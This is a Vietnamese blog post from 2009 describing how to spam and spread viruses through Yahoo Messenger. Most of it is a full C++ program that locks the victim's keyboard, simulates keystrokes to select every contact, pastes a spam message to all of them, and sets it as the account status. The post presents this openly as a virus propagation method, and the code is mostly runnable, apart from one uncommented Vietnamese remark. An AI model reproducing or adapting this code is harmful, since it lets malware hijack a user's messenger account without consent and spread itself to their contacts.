Trao đổi với tôi

http://www.buidao.com

6/18/09

[Virus] Vx spam with YM

Phương Thức Spam và phát tán virus trong Yahoo Messenger

Author: ToanThang
Origin Link: http://toanthang.spaces.live.com/blog/cns!A4E5440D42A2F4F4!568.entry

Giới thệu với các bạn phương thức Spam và phát tán virus trong yahoo messenger bằng lập trình c++, nó rất là đơn giản và dể hiểu, sữ dùng hàm API keybd_event là chủ yếu. Sau đây mô tả sơ lược về hàm keybd_event :
+ Cấu trúc : VOID keybd_event(
BYTE
bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
+ Thông số :
bVk : mã phím ảo của phím cần tạo sự kiện hoặc nhả.
bScan : để dành lập thành 0.
dwFlags : kết hơp các cờ sau để định rõ hình thức nhập bàn phím để tổng hơp, KEYEVENTF_EXTENDEDKEY là thêm tiếp đầu ngữ có giá trị &HE0 vào mả quét, KEYEVENTF_KEYUP là phím xác định bằng tham số bVk đang được nhả ra. Nếu cờ này không được chỉ rõ thì phím đang được ấn xuống
dwExtraInfo : Một giá tr phụ 32 bit tương ứng với sự kiện bàn phím
Xem ví dụ sau đây để hiểu cách dụng hàm keybd_event :
#include "stdafx.h"
#include "Winable.h"
#include "windows.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

// Bước đầu tiên tìm xem có yahoo messenger đang run không
HWND YahooM;
YahooM = FindWindow("YahooBuddyMain",NULL);
if (YahooM != NULL) // nếu tồn tại, ta thực hiện các bước sau
{
BlockInput(1); khoá bàn phím
ShowWindow(YahooM,SW_RESTORE); //hiện yahoo Messenger trên nền background
SetForegroundWindow(YahooM);
// Tiếp theo ta Lấy danh sách các nick trong list yahoo
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_DOWN,NULL,NULL,NULL);
keybd_event(VK_DOWN,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_SHIFT,NULL,NULL,NULL);
keybd_event(VK_END,NULL,KEYEVENTF_EXTENDEDKEY,NULL);
keybd_event(VK_END,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_SHIFT,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
HGLOBAL hText;
OpenClipboard(0);
EmptyClipboard();
char pText[100]="welcome to toanthang.spaces.live.com"; // ví dụ nội dung cần Spam
hText=GlobalAlloc(GMEM_DDESHARE|GMEM_MOVEABLE,strlen(pText)+1);

char *pstr=(char *)GlobalLock((hText));
strcpy(pstr,pText);
GlobalUnlock(hText);

SetClipboardData(CF_TEXT,hText); //đặt nội dung vào bộ nhớ
//Sau đó Send nội dung cần Spam cho tất cả các nick trong list yahoo messenger
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(86,NULL,NULL,NULL);
keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
// Bước tiếp theo tạo nội dung Spam trong Status cua Yahoo Messener
keybd_event(VK_MENU,NULL,NULL,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_MENU,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(77,NULL,NULL,NULL);
keybd_event(77,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,NULL,NULL);
keybd_event(86,NULL,NULL,NULL);
keybd_event(86,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(VK_CONTROL,NULL,KEYEVENTF_KEYUP,NULL);
keybd_event(13,NULL,NULL,NULL);
keybd_event(13,NULL,KEYEVENTF_KEYUP,NULL);
CloseClipboard();
GlobalUnlock(hText);
}
BlockInput(0);
return 0;
}